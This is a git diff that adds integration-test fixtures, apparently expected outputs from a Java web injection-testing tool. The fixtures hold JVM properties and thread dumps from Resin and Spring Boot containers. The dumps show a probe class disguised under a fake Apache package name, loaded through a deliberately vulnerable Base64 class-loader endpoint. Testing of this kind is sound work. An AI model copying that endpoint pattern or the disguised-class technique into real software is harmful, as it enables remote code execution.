app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-19" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at app//com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at app//com.caucho.network.listen.TcpPort.accept(TcpPort.java:1381) + at app//com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1065) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1015) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@377f8671 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@11.0.16/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:170) + +"resin-port-8080-43" #43 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at app//com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at app//com.caucho.network.listen.TcpPort.accept(TcpPort.java:1381) + at app//com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1065) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1015) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"CoordinatorThread[]-3" #14 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:391) + at app//com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"LogWriterTask[null]" #46 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:391) + at app//com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-55" #55 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at app//com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at app//com.caucho.network.listen.TcpPort.accept(TcpPort.java:1381) + at app//com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1065) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1015) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.caucho.env.shutdown.ShutdownSystem$FailSafeHaltThread +com.caucho.env.shutdown.ShutdownSystem$FailSafeMemoryFreeThread +com.caucho.env.shutdown.ShutdownSystem$ShutdownThread +com.caucho.env.thread2.AbstractTaskWorker2 +com.caucho.env.thread2.ResinThread2 +com.caucho.hmtp.HmtpLinkWorker +com.caucho.hmtp.HmtpWebSocketReader +com.caucho.network.listen.ConnectionTask +com.caucho.network.listen.SocketLinkThreadLauncher +com.caucho.network.listen.TcpPort +com.caucho.network.listen.TcpSocketAcceptThread +com.caucho.network.listen.TcpSocketLink +com.caucho.remote.websocket.FrameInputStream +com.caucho.remote.websocket.UnmaskedFrameInputStream +com.caucho.remote.websocket.WebSocketInputStream +com.caucho.server.dispatch.FilterFilterChain +com.caucho.server.dispatch.ServletFilterChain +com.caucho.server.dispatch.ServletInvocation +com.caucho.server.http.HttpRequest +com.caucho.server.resin.Resin +com.caucho.server.resin.ResinLink +com.caucho.server.resin.ResinWaitForExitService +com.caucho.server.webapp.AccessLogFilterChain +com.caucho.server.webapp.WebAppFilterChain +com.caucho.vfs.AbstractPrintWriter +com.caucho.vfs.QServerSocketWrapper +com.caucho.vfs.ReadStream +com.caucho.vfs.SocketStream +com.fasterxml.jackson.dREtx.ErrorHandler diff --git a/integration-test/src/test/resources/infos/SpringBoot1ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot1ContainerTestBasicInfo.txt new file mode 100644 index 00000000..e38c220f --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot1ContainerTestBasicInfo.txt @@ -0,0 +1,385 @@ +# Generated At 2025-08-10 15:00:12 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.vm.version: 25.342-b07 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /app +java.runtime.version: 1.8.0_342-b07 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +os.arch: aarch64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +sun.jnu.encoding: UTF-8 +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +catalina.useNaming: false +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +catalina.home: /tmp/tomcat.7270484628182296220.8080 +java.class.path: app.jar +user.name: root +java.vm.specification.version: 1.8 +sun.java.command: app.jar +java.home: /usr/local/openjdk-8/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.awt.headless: true +java.vendor: Oracle Corporation +catalina.base: /tmp/tomcat.7270484628182296220.8080 +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #32 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-ClientPoller-0" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:825) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@4fb6c115 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"container-0" #15 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:408) + at org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletContainer$2.run(TomcatEmbeddedServletContainer.java:187) + +"http-nio-8080-ClientPoller-1" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:825) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-AsyncTimeout" #30 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1151) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-5" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.http.client.DhaPP.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot1.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:133) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:854) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:765) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:660) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:99) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.springframework.web.filter.HttpPutFormContentFilter.doFilterInternal(HttpPutFormContentFilter.java:109) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.springframework.web.filter.HiddenHttpMethodFilter.doFilterInternal(HiddenHttpMethodFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:197) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:137) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:798) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:808) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"localhost-startStop-1" #13 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@ab44687 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-8" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-1" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:298) + +"Tomcat-startStop-1" #12 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a19d836 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@3bf48f65 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b894cbc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[Tomcat]]" #14 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1348) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-Acceptor-0" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:482) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot1.controller.Base64ClassLoaderController +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve 